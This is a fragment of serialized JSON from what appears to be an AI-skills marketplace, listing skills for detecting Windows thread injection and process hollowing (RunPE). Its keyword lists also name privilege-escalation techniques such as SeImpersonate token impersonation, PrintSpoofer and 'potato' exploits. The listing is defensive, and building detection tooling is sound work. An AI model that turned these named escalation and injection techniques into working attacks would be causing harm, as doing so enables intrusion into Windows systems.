detect","token","processes","attacks","windows","escalation","techniques","seimpersonate","token-impersonation","printspoofer","exploitation","potato","impersonation","via",{"skillNo":199,"name":200,"nameZh":6,"description":201,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":202,"categories":203,"keywords":204,"publishedAt":44},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[205,206,119,207,186,188,208,123,209,190,38,134,147,210,211,212,213,197,33,124],"thread","processes thread injection detect","injection","memory","process-injection","api","apc-injection","thread-injection","nt-api",{"skillNo":215,"name":216,"nameZh":6,"description":217,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":218,"categories":219,"keywords":220,"publishedAt":44},"01M71HA7H311V5G14WMX58HQSS","processes-hollow-technique-detect","Detect process hollowing (RunPE) by identifying processes with mismatched image paths between PEB and VAD tree, or unmapped PE headers in memory.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fhollow\u002Ftechnique\u002Fdetect\u002FSKILL.md",[],[221,119,186,222,208,123,223,224,38,134,225,226,227,228,229,230,33,124,231,232],"processes hollow technique detect","tree","memory-forensics","process-hollow","peb","runpe","image","pe-header","in memory","with","mismatched","headers"]